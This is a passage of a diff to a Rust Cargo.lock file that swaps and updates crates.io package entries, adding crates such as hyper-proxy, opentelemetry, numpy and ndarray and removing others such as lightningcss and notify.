"c31b6d751ae2c7f11320402d34e41349dd1016f8d5d45e48c4312bc8625af50c" -dependencies = [ - "byteorder", -] - -[[package]] name = "generic-array" version = "0.14.7" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -1086,17 +868,6 @@ dependencies = [ [[package]] name = "gimli" -version = "0.26.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "22030e2c5a68ec659fde1e949a745124b48e6fa8b045b7ed5bd1fe4ccc5c4e5d" -dependencies = [ - "fallible-iterator", - "indexmap 1.9.3", - "stable_deref_trait", -] - -[[package]] -name = "gimli" version = "0.28.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "4271d37baee1b8c7e4b708028c57d816cf9d2434acb33a549475f78c181f6253" @@ -1109,9 +880,9 @@ checksum = "d2fabcfbdc87f4758337ca535fb41a6d701b65693ce38287d856d1674551ec9b" [[package]] name = "h2" -version = "0.3.22" +version = "0.3.24" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4d6250322ef6e60f93f9a2162799302cd6f68f79f6e5d85c8c16f14d1d958178" +checksum = "bb2c4422095b67ee78da96fbb51a4cc413b3b25883c7717ff7ca1ab31022c9c9" dependencies = [ "bytes", "fnv", @@ -1131,18 +902,12 @@ name = "hashbrown" version = "0.12.3" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "8a9ee70c43aaf417c914396645a0fa852624801b24ebb7ae78fe8272889ac888" -dependencies = [ - "ahash 0.7.7", -] [[package]] name = "hashbrown" version = "0.13.2" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "43a3c133739dddd0d2990f9a4bdf8eb4b21ef50e4851ca85ab661199821d510e" -dependencies = [ - "ahash 0.8.6", -] [[package]] name = "hashbrown" @@ -1151,12 +916,27 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "290f1a1d9242c78d09ce40a5e87e7554ee637af1351968159f4952f028f75604" [[package]] -name = "heck" -version = "0.3.3" +name = "headers" +version = "0.3.9" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6d621efb26863f0e9924c6ac577e8275e5e6b77455db64ffa6c65c904e9e132c" +checksum = "06683b93020a07e3dbcf5f8c0f6d40080d725bea7936fc01ad345c01b97dc270" dependencies = [ - "unicode-segmentation", + "base64 0.21.5", + "bytes", + "headers-core", + "http", + "httpdate", + "mime", + "sha1", +] + +[[package]] +name = "headers-core" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e7f66481bfee273957b1f20485a4ff3362987f85b2c236580d81b4eb7a326429" +dependencies = [ + "http", ] [[package]] @@ -1167,11 +947,26 @@ checksum = "95505c38b4572b2d910cecb0281560f54b440a19336cbbcb27bf6ce6adc6f5a8" [[package]] name = "hermit-abi" +version = "0.1.19" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "62b467343b94ba476dcb2500d242dadbb39557df889310ac77c5d99100aaac33" +dependencies = [ + "libc", +] + +[[package]] +name = "hermit-abi" version = "0.3.3" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "d77f7ec81a6d05a3abb01ab6eb7590f6083d08449fe5a1c8b1e620283546ccb7" [[package]] +name = "hex" +version = "0.4.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7f24254aa9a54b5c858eaee2f5bccdb46aaf0e486a595ed5fd8f86ba55232a70" + +[[package]] name = "home" version = "0.5.5" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -1215,6 +1010,15 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "df3b46402a9d5adb4c86a0cf463f42e19994e3ee891101b1841f30a545cb49a9" [[package]] +name = "humantime" +version = "1.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "df004cfca50ef23c36850aaaa59ad52cc70d0e90243c3c7737a4dd32dc7a3c4f" +dependencies = [ + "quick-error", +] + +[[package]] name = "hyper" version = "0.14.27" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -1239,47 +1043,80 @@ dependencies = [ ] [[package]] +name = "hyper-proxy" +version = "0.9.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ca815a891b24fdfb243fa3239c86154392b0953ee584aa1a2a1f66d20cbe75cc" +dependencies = [ + "bytes", + "futures", + "headers", + "http", + "hyper", + "hyper-rustls 0.22.1", + "rustls-native-certs 0.5.0", + "tokio", + "tokio-rustls 0.22.0", + "tower-service", + "webpki", +] + +[[package]] name = "hyper-rustls" -version = "0.24.2" +version = "0.22.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ec3efd23720e2049821a693cbc7e65ea87c72f1c58ff2f9522ff332b1491e590" +checksum = "5f9f7a97316d44c0af9b0301e65010573a853a9fc97046d7331d7f6bc0fd5a64" dependencies = [ + "ct-logs", "futures-util", - "http", "hyper", - "rustls", + "log", + "rustls 0.19.1", + "rustls-native-certs 0.5.0", "tokio", - "tokio-rustls", + "tokio-rustls 0.22.0", + "webpki", ] [[package]] -name = "iana-time-zone" -version = "0.1.58" +name = "hyper-rustls" +version = "0.24.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8326b86b6cff230b97d0d312a6c40a60726df3332e721f72a1b035f451663b20" +checksum = "ec3efd23720e2049821a693cbc7e65ea87c72f1c58ff2f9522ff332b1491e590" dependencies = [ - "android_system_properties", - "core-foundation-sys", - "iana-time-zone-haiku", - "js-sys", - "wasm-bindgen", - "windows-core", + "futures-util", + "http", + "hyper", + "rustls 0.21.9", + "tokio", + "tokio-rustls 0.24.1", ] [[package]] -name = "iana-time-zone-haiku" -version = "0.1.2" +name = "hyper-socks2" +version = "0.8.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f31827a206f56af32e590ba56d5d2d085f558508192593743f16b2306495269f" +checksum = "cc38166fc2732d450e9372388d269eb38ff0b75a3cfb4c542e65b2f6893629c4" dependencies = [ - "cc", + "async-socks5", + "futures", + "http", + "hyper", + "thiserror", + "tokio", ] [[package]] -name = "id-arena" -version = "2.2.1" +name = "hyper-timeout" +version = "0.4.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "25a2bc672d1148e28034f176e01fffebb08b35768468cc954630da77a1449005" +checksum = "bbb958482e8c7be4bc3cf272a766a2b0bf1a6755e7a6ae777f017a31d11b13b1" +dependencies = [ + "hyper", + "pin-project-lite", + "tokio", + "tokio-io-timeout", +] [[package]] name = "ident_case" @@ -1318,24 +1155,10 @@ dependencies = [ ] [[package]] -name = "inotify" -version = "0.7.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4816c66d2c8ae673df83366c18341538f234a26d65a9ecea5c348b453ac1d02f" -dependencies = [ - "bitflags 1.3.2", - "inotify-sys", - "libc", -] - -[[package]] -name = "inotify-sys" -version = "0.1.5" +name = "indoc" +version = "2.0.4" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e05c02b5e89bff3b946cedeca278abc628fe811e604f027c45a8aa3cf793d0eb" -dependencies = [ - "libc", -] +checksum = "1e186cfbae8084e513daff4240b4797e342f988cecda4fb6c939150f96315fd8" [[package]] name = "insta" @@ -1346,21 +1169,26 @@ dependencies = [ "console", "lazy_static", "linked-hash-map", - "serde", "similar", "yaml-rust", ] [[package]] -name = "iovec" -version = "0.1.4" +name = "instant" +version = "0.1.12" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b2b3ea6ff95e175473f8ffe6a7eb7c00d054240321b84c57051175fe3c1e075e" +checksum = "7a5bbe824c507c5da5956355e86a746d82e0e1464f65d862cc5e71da70e94b2c" dependencies = [ - "libc", + "cfg-if 1.0.0", ] [[package]] +name = "inventory" +version = "0.3.13" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0508c56cfe9bfd5dfeb0c22ab9a6abfda2f27bdca422132e494266351ed8d83c" + +[[package]] name = "ipnet" version = "2.9.0" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -1372,7 +1200,7 @@ version = "0.4.9" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "cb0889898416213fab133e1d33a0e5858a48177452750691bde3666d0fdbaf8b" dependencies = [ - "hermit-abi", + "hermit-abi 0.3.3", "rustix", "windows-sys 0.48.0", ] @@ -1402,6 +1230,15 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "af150ab688ff2122fcef229be89cb50dd66af9e01a4ff320cc137eecc9bacc38" [[package]] +name = "jobserver" +version = "0.1.27" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8c37f63953c4c63420ed5fd3d6d398c719489b9f872b9fa683262f8edd363c7d" +dependencies = [ + "libc", +] + +[[package]] name = "js-sys" version = "0.3.66" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -1411,13 +1248,27 @@ dependencies = [ ] [[package]] -name = "kernel32-sys" -version = "0.2.2" +name = "jsonwebtoken" +version = "8.3.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7507624b29483431c0ba2d82aece8ca6cdba9382bff4ddd0f7490560c056098d" +checksum = "6971da4d9c3aa03c3d8f3ff0f4155b534aad021292003895a469716b2a230378" dependencies = [ - "winapi 0.2.8", - "winapi-build", + "base64 0.21.5", + "pem", + "ring 0.16.20", + "serde", + "serde_json", + "simple_asn1", +] + +[[package]] +name = "jwalk" +version = "0.8.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2735847566356cd2179a2a38264839308f7079fa96e6bd5a42d740460e003c56" +dependencies = [ + "crossbeam", + "rayon", ] [[package]] @@ -1433,93 +1284,119 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "830d08ce1d1d941e6b30645f1a0eb5643013d835ce3779a5fc208261dbe10f55" [[package]] -name = "leb128" -version = "0.2.5" +name = "lexical" +version = "6.1.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "884e2677b40cc8c339eaefcb701c32ef1fd2493d71118dc0ca4b6a736c93bd67" +checksum = "c7aefb36fd43fef7003334742cbf77b243fcd36418a1d1bdd480d613a67968f6" +dependencies = [ + "lexical-core", +] [[package]] -name = "leptos_hot_reload" -version = "0.5.4" +name = "lexical-core" +version = "0.8.5" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4ea60376eb80a24b3ab082612d62211e3ea0fc4dee132f7ff34d5fa5a5108cd2" +checksum = "2cde5de06e8d4c2faabc400238f9ae1c74d5412d03a7bd067645ccbc47070e46" dependencies = [ - "anyhow", - "camino", - "indexmap 2.1.0", - "parking_lot", - "proc-macro2", - "quote", - "rstml", - "serde", - "syn 2.0.39", - "walkdir", + "lexical-parse-float", + "lexical-parse-integer", + "lexical-util", + "lexical-write-float", + "lexical-write-integer", ] [[package]] -name = "libc" -version = "0.2.150" +name = "lexical-parse-float" +version = "0.8.5" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "89d92a4743f9a61002fae18374ed11e7973f530cb3a3255fb354818118b2203c" +checksum = "683b3a5ebd0130b8fb52ba0bdc718cc56815b6a097e28ae5a6997d0ad17dc05f" +dependencies = [ + "lexical-parse-integer", + "lexical-util", + "static_assertions", +] [[package]] -name = "libflate" -version = "2.0.0" +name = "lexical-parse-integer" +version = "0.8.6" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9f7d5654ae1795afc7ff76f4365c2c8791b0feb18e8996a96adad8ffd7c3b2bf" +checksum = "6d0994485ed0c312f6d965766754ea177d07f9c00c9b82a5ee62ed5b47945ee9" dependencies = [ - "adler32", - "core2", - "crc32fast", - "dary_heap", - "libflate_lz77", + "lexical-util", + "static_assertions", ] [[package]] -name = "libflate_lz77" -version = "2.0.0" +name = "lexical-util" +version = "0.8.5" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "be5f52fb8c451576ec6b79d3f4deb327398bc05bbdbd99021a6e77a4c855d524" +checksum = "5255b9ff16ff898710eb9eb63cb39248ea8a5bb036bea8085b1a767ff6c4e3fc" dependencies = [ - "core2", - "hashbrown 0.13.2", - "rle-decode-fast", + "static_assertions", ] [[package]] -name = "libredox" -version = "0.0.1" +name = "lexical-write-float" +version = "0.8.5" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "85c833ca1e66078851dba29046874e38f08b2c883700aa29a03ddd3b23814ee8" +checksum = "accabaa1c4581f05a3923d1b4cfd124c329352288b7b9da09e766b0668116862" dependencies = [ - "bitflags 2.4.1", - "libc", - "redox_syscall 0.4.1", + "lexical-util", + "lexical-write-integer", + "static_assertions", ] [[package]] -name = "lightningcss" -version = "1.0.0-alpha.51" +name = "lexical-write-integer" +version = "0.8.5" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "99d6ad516c08b24c246b339159dc2ee2144c012e8ebdf4db4bddefb8734b2b69" +checksum = "e1b6f3d1f4422866b68192d62f77bc5c700bee84f3069f2469d7bc8c77852446" dependencies = [ - "ahash 0.7.7", - "bitflags 2.4.1", - "browserslist-rs", - "const-str", - "cssparser", - "cssparser-color", - "dashmap", - "data-encoding", - "itertools 0.10.5", - "lazy_static", - "parcel_selectors", - "parcel_sourcemap", + "lexical-util", + "static_assertions", +] + +[[package]] +name = "libc" +version = "0.2.150" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "89d92a4743f9a61002fae18374ed11e7973f530cb3a3255fb354818118b2203c" + +[[package]] +name = "libloading" +version = "0.5.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f2b111a074963af1d37a139918ac6d49ad1d0d5e47f72fd55388619691a7d753" +dependencies = [ + "cc", + "winapi", +] + +[[package]] +name = "libloading" +version = "0.8.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c571b676ddfc9a8c12f1f3d3085a7b163966a8fd8098a90640953ce5f6170161" +dependencies = [ + "cfg-if 1.0.0", + "windows-sys 0.48.0", +] + +[[package]] +name = "libquil-sys" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d1c6dd6ae79389c6811ea65beac8ce9b43cccc61ebc457a13ef16c500a65ab47" +dependencies = [ + "bindgen", + "cc", + "libc", + "libloading 0.8.1", + "num-complex", "paste", - "pathdiff", - "rayon", - "serde", - "smallvec", + "pkg-config", + "serde_json", + "thiserror", ] [[package]] @@ -1530,9 +1407,9 @@ checksum = "0717cef1bc8b636c6e1c1bbdefc09e6322da8a9321966e8928ef80d20f7f770f" [[package]] name = "linux-raw-sys" -version = "0.4.11" +version = "0.4.12" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "969488b55f8ac402214f3f5fd243ebb7206cf82de60d3172994707a4bcc2b829" +checksum = "c4cd1a83af159aa67994778be9070f0ae1bd732942279cabb14f86f986a21456" [[package]] name = "lock_api" @@ -1551,10 +1428,10 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "b5e6163cb8c49088c2c36f57875e58ccd8c87c7427f7fbd50ea6710b2f3f2e8f" [[package]] -name = "matches" -version = "0.1.10" +name = "maplit" +version = "1.0.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2532096657941c2fea9c289d370a250971c689d4f143798ff67113ec042024a5" +checksum = "3e2e65a1a2e43cfcb47a895c4c8b10d1f4a61097f9f254f183aee60cad9c651d" [[package]] name = "matchit" @@ -1563,6 +1440,16 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "0e7465ac9959cc2b1404e8e2367b43684a6d13790fe23056cc8c6c5a6b7bcb94" [[package]] +name = "matrixmultiply" +version = "0.3.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7574c1cf36da4798ab73da5b215bbf444f50718207754cb522201d78d1cd0ff2" +dependencies = [ + "autocfg", + "rawpointer", +] + +[[package]] name = "memchr" version = "2.6.4" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -1584,6 +1471,16 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "6877bb514081ee2a7ff5ef9de3281f14a4dd4bceac4c09388074a6b5df8a139a" [[package]] +name = "mime_guess" +version = "2.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4192263c238a5f0d0c6bfd21f336a313a4ce1c450542449ca191bb657b4642ef" +dependencies = [ + "mime", + "unicase", +] + +[[package]] name = "minimal-lexical" version = "0.2.1" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -1600,25 +1497,6 @@ dependencies = [ [[package]] name = "mio" -version = "0.6.23" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4afd66f5b91bf2a3bc13fad0e21caedac168ca4c707504e75585648ae80e4cc4" -dependencies = [ - "cfg-if 0.1.10", - "fuchsia-zircon", - "fuchsia-zircon-sys", - "iovec", - "kernel32-sys", - "libc", - "log", - "miow", - "net2", - "slab", - "winapi 0.2.8", -] - -[[package]] -name = "mio" version = "0.8.9" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "3dce281c5e46beae905d4de1870d8b1509a9142b62eedf18b443b011ca8343d0" @@ -1629,47 +1507,37 @@ dependencies = [ ] [[package]] -name = "mio-extras" -version = "2.0.6" +name = "multimap" +version = "0.8.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "52403fe290012ce777c4626790c8951324a2b9e3316b3143779c72b029742f19" -dependencies = [ - "lazycell", - "log", - "mio 0.6.23", - "slab", -] +checksum = "e5ce46fe64a9d73be07dcbe690a38ce1b293be448fd8ce1e6c1b8062c9f72c6a" [[package]] -name = "miow" -version = "0.2.2" +name = "ndarray" +version = "0.15.6" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ebd808424166322d4a38da87083bfddd3ac4c131334ed55856112eb06d46944d" +checksum = "adb12d4e967ec485a5f71c6311fe28158e9d6f4bc4a447b474184d0f91a8fa32" dependencies = [ - "kernel32-sys", - "net2", - "winapi 0.2.8", - "ws2_32-sys", + "approx", + "matrixmultiply", + "num-complex", + "num-integer", + "num-traits", + "rawpointer", + "serde", ] [[package]] -name = "net2" -version = "0.2.39" +name = "nom" +version = "5.1.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b13b648036a2339d06de780866fbdfda0dde886de7b3af2ddeba8b14f4ee34ac" +checksum = "08959a387a676302eebf4ddbcbc611da04285579f76f88ee0506c63b1a61dd4b" dependencies = [ - "cfg-if 0.1.10", - "libc", - "winapi 0.3.9", + "memchr", + "version_check", ] [[package]] -name = "new_debug_unreachable" -version = "1.0.4" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e4a24736216ec316047a1fc4252e27dabb04218aa4a3f37c6e7ddbf1f9782b54" - -[[package]] name = "nom" version = "7.1.3" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -1680,30 +1548,94 @@ dependencies = [ ] [[package]] -name = "notify" -version = "4.0.17" +name = "nom_locate" +version = "4.2.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ae03c8c853dba7bfd23e571ff0cff7bc9dceb40a4cd684cd1681824183f45257" +checksum = "1e3c83c053b0713da60c5b8de47fe8e494fe3ece5267b2f23090a07a053ba8f3" dependencies = [ - "bitflags 1.3.2", - "filetime", - "fsevent", - "fsevent-sys", - "inotify", - "libc", - "mio 0.6.23", - "mio-extras", - "walkdir", - "winapi 0.3.9", + "bytecount", + "memchr", + "nom 7.1.3", ] [[package]] name = "nu-ansi-term" -version = "0.49.0" +version = "0.46.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c073d3c1930d0751774acf49e66653acecb416c3a54c6ec095a9b11caddb5a68" +checksum = "77a8165726e8236064dbb45459242600304b42a5ea24ee2948e18e023bf7ba84" dependencies = [ - "windows-sys 0.48.0", + "overload", + "winapi", +] + +[[package]] +name = "num" +version = "0.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b05180d69e3da0e530ba2a1dae5110317e49e3b7f3d41be227dc5f92e49ee7af" +dependencies = [ + "num-bigint", + "num-complex", + "num-integer", + "num-iter", + "num-rational", + "num-traits", +] + +[[package]] +name = "num-bigint" +version = "0.4.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "608e7659b5c3d7cba262d894801b9ec9d00de989e8a82bd4bef91d08da45cdc0" +dependencies = [ + "autocfg", + "num-integer", + "num-traits", + "serde", +] + +[[package]] +name = "num-complex" +version = "0.4.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1ba157ca0885411de85d6ca030ba7e2a83a28636056c7c699b07c8b6f7383214" +dependencies = [ + "num-traits", + "serde", +] + +[[package]] +name = "num-integer" +version = "0.1.45" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "225d3389fb3509a24c93f5c29eb6bde2586b98d9f016636dff58d7c6f7569cd9" +dependencies = [ + "autocfg", + "num-traits", +] + +[[package]] +name = "num-iter" +version = "0.1.43" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7d03e6c028c5dc5cac6e2dec0efda81fc887605bb3d884578bb6d6bf7514e252" +dependencies = [ + "autocfg", + "num-integer", + "num-traits", +] + +[[package]] +name = "num-rational" +version = "0.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0638a1c9d0a3c0914158145bc76cff373a75a627e6ecbfb71cbe6f453a5a19b0" +dependencies = [ + "autocfg", + "num-bigint", + "num-integer", + "num-traits", + "serde", ] [[package]] @@ -1721,8 +1653,23 @@ version = "1.16.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "4161fcb6d602d4d2081af7c3a45852d875a03dd337a6bfdd6e06407b61342a43" dependencies = [ - "hermit-abi", + "hermit-abi 0.3.3", + "libc", +] + +[[package]] +name = "numpy" +version = "0.20.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bef41cbb417ea83b30525259e30ccef6af39b31c240bda578889494c5392d331" +dependencies = [ "libc", + "ndarray", + "num-complex", + "num-integer", + "num-traits", + "pyo3", + "rustc-hash", ] [[package]] @@ -1741,48 +1688,85 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "dd8b5dd2ae5ed71462c540258bedcb51965123ad7e7ccf4b9a8cafaa4a63576d" [[package]] -name = "option-ext" -version = "0.2.0" +name = "openssl-probe" +version = "0.1.5" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "04744f49eae99ab78e0d5c0b603ab218f515ea8cfe5a456d7629ad883a3b6e7d" +checksum = "ff011a302c396a5197692431fc1948019154afc178baf7d8e37367442a4601cf" [[package]] -name = "outref" -version = "0.1.0" +name = "opentelemetry" +version = "0.20.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9591d937bc0e6d2feb6f71a559540ab300ea49955229c347a517a28d27784c54" +dependencies = [ + "opentelemetry_api", + "opentelemetry_sdk", +] + +[[package]] +name = "opentelemetry-http" +version = "0.9.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7f222829ae9293e33a9f5e9f440c6760a3d450a64affe1846486b140db81c1f4" +checksum = "c7594ec0e11d8e33faf03530a4c49af7064ebba81c1480e01be67d90b356508b" +dependencies = [ + "async-trait", + "bytes", + "http", + "opentelemetry_api", +] [[package]] -name = "parcel_selectors" -version = "0.26.4" +name = "opentelemetry_api" +version = "0.20.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "05d74befe2d076330d9a58bf9ca2da424568724ab278adf15fb5718253133887" +checksum = "8a81f725323db1b1206ca3da8bb19874bbd3f57c3bcd59471bfb04525b265b9b" dependencies = [ - "bitflags 2.4.1", - "cssparser", - "fxhash", - "log", - "phf 0.10.1", - "phf_codegen", - "precomputed-hash", - "smallvec", + "futures-channel", + "futures-util", + "indexmap 1.9.3", + "js-sys", + "once_cell", + "pin-project-lite", + "thiserror", + "urlencoding", ] [[package]] -name = "parcel_sourcemap" -version = "2.1.1" +name = "opentelemetry_sdk" +version = "0.20.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "485b74d7218068b2b7c0e3ff12fbc61ae11d57cb5d8224f525bd304c6be05bbb" +checksum = "fa8e705a0612d48139799fcbaba0d4a90f06277153e43dd2bdc16c6f0edd8026" dependencies = [ - "base64-simd", - "data-url", - "rkyv", - "serde", - "serde_json", - "vlq", + "async-trait", + "crossbeam-channel", + "futures-channel", + "futures-executor", + "futures-util", + "once_cell", + "opentelemetry_api", + "ordered-float", + "percent-encoding", + "rand", + "regex", + "thiserror", ] [[package]] +name = "ordered-float" +version = "3.9.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f1e1c390732d15f1d48471625cd92d154e66db2c56645e29a9cd26f4699f72dc" +dependencies = [ + "num-traits", +] + +[[package]] +name = "overload" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b15813163c1d831bf4a13c3610c05c0d03b39feb07f7e09fa234dac9b15aaf39" + +[[package]] name = "parking_lot" version = "0.12.1" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -1800,7 +1784,7 @@ checksum = "4c42a9226546d68acdd9c0a280d17ce19bfe27a46bf68784e4066115788d008e" dependencies = [ "cfg-if 1.0.0", "libc", - "redox_syscall 0.4.1", + "redox_syscall", "smallvec", "windows-targets 0.48.5", ] @@ -1812,12 +1796,40 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "de3145af08024dea9fa9914f381a17b8fc6034dfb00f3a84013f7ff43f29ed4c" [[package]] -name = "pathdiff" -version = "0.2.1" +name = "pbjson" +version = "0.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "048f9ac93c1eab514f9470c4bc8d97ca2a0a236b84f45cc19d69a59fc11467f6" +dependencies = [ + "base64 0.13.1", + "serde", +] + +[[package]] +name = "pbjson-build" +version = "0.5.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8835116a5c179084a830efb3adc117ab007512b535bc1a21c991d3b32a6b44dd" +checksum = "bdbb7b706f2afc610f3853550cdbbf6372fd324824a087806bd4480ea4996e24" dependencies = [ - "camino", + "heck", + "itertools 0.10.5", + "prost", + "prost-types", +] + +[[package]] +name = "peeking_take_while" +version = "0.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "19b17cddbe7ec3f8bc800887bab5e717348c95ea2ca0b1bf0837fb964dc67099" + +[[package]] +name = "pem" +version = "1.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a8835c273a76a90455d7344889b0964598e3316e2a79ede8e36f16bdcf2228b8" +dependencies = [ + "base64 0.13.1", ] [[package]] @@ -1827,192 +1839,397 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "e3148f5046208a5d56bcfc03053e3ca6334e51da8dfb19b6cdc8b306fae3283e" [[package]] -name = "phf" -version = "0.10.1" +name = "petgraph" +version = "0.6.4" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "fabbf1ead8a5bcbc20f5f8b939ee3f5b0f6f281b6ad3468b84656b658b455259" +checksum = "e1d3afd2628e69da2be385eb6f2fd57c8ac7977ceeff6dc166ff1657b0e386a9" dependencies = [ - "phf_shared 0.10.0", + "fixedbitset", + "indexmap 2.1.0", ] [[package]] -name = "phf" -version = "0.11.2" +name = "pin-project" +version = "1.1.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ade2d8b8f33c7333b51bcf0428d37e217e9f32192ae4772156f65063b8ce03dc" +checksum = "fda4ed1c6c173e3fc7a83629421152e01d7b1f9b7f65fb301e490e8cfc656422" dependencies = [ - "phf_macros", - "phf_shared 0.11.2", + "pin-project-internal", ] [[package]] -name = "phf_codegen" -version = "0.10.0" +name = "pin-project-internal" +version = "1.1.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4fb1c3a8bc4dd4e5cfce29b44ffc14bedd2ee294559a294e2a4d4c9e9a6a13cd" +checksum = "4359fd9c9171ec6e8c62926d6faaf553a8dc3f64e1507e76da7911b4f6a04405" dependencies = [ - "phf_generator 0.10.0", - "phf_shared 0.10.0", + "proc-macro2", + "quote", + "syn 2.0.39", ] [[package]] -name = "phf_generator" -version = "0.10.0" +name = "pin-project-lite" +version = "0.2.13" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8afb450f006bf6385ca15ef45d71d2288452bc3683ce2e2cacc0d18e4be60b58" + +[[package]] +name = "pin-utils" +version = "0.1.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5d5285893bb5eb82e6aaf5d59ee909a06a16737a8970984dd7746ba9283498d6" +checksum = "8b870d8c151b6f2fb93e84a13146138f05d02ed11c7e7c54f8826aaaf7c9f184" + +[[package]] +name = "pkg-config" +version = "0.3.27" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "26072860ba924cbfa98ea39c8c19b4dd6a4a25423dbdf219c1eca91aa0cf6964" + +[[package]] +name = "ppv-lite86" +version = "0.2.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5b40af805b3121feab8a3c29f04d8ad262fa8e0561883e7653e024ae4479e6de" + +[[package]] +name = "prettyplease" +version = "0.1.25" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6c8646e95016a7a6c4adea95bafa8a16baab64b583356217f2c85db4a39d9a86" dependencies = [ - "phf_shared 0.10.0", - "rand", + "proc-macro2", + "syn 1.0.109", ] [[package]] -name = "phf_generator" -version = "0.11.2" +name = "proc-macro2" +version = "1.0.70" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "48e4cc64c2ad9ebe670cb8fd69dd50ae301650392e81c05f9bfcb2d5bdbc24b0" +checksum = "39278fbbf5fb4f646ce651690877f89d1c5811a3d4acb27700c1cb3cdb78fd3b" dependencies = [ - "phf_shared 0.11.2", - "rand", + "unicode-ident", ] [[package]] -name = "phf_macros" -version = "0.11.2" +name = "prost" +version = "0.11.9" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "3444646e286606587e49f3bcf1679b8cef1dc2c5ecc29ddacaffc305180d464b" +checksum = 